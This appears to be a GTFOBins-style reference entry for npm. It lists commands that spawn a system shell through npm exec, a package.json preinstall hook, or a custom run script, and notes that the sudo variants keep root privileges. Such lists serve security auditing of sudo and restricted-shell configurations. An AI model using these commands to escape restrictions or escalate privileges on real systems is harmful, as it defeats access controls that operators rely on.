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This executable can spawn an interactive system shell.

Unprivileged
This function can be performed by any unprivileged user.
```
npm exec /bin/sh
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
npm exec /bin/sh
```
Unprivileged
This function can be performed by any unprivileged user.
```
echo '{"scripts": {"preinstall": "/bin/sh"}}' >package.json
npm -C . i
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo '{"scripts": {"preinstall": "/bin/sh"}}' >package.json
npm -C . i
```
Unprivileged
This function can be performed by any unprivileged user.
```
echo '{"scripts": {"xxx": "/bin/sh"}}' >package.json
npm -C . run xxx
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks
If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo '{"scripts": {"xxx": "/bin/sh"}}' >package.json
npm -C . run xxx
```

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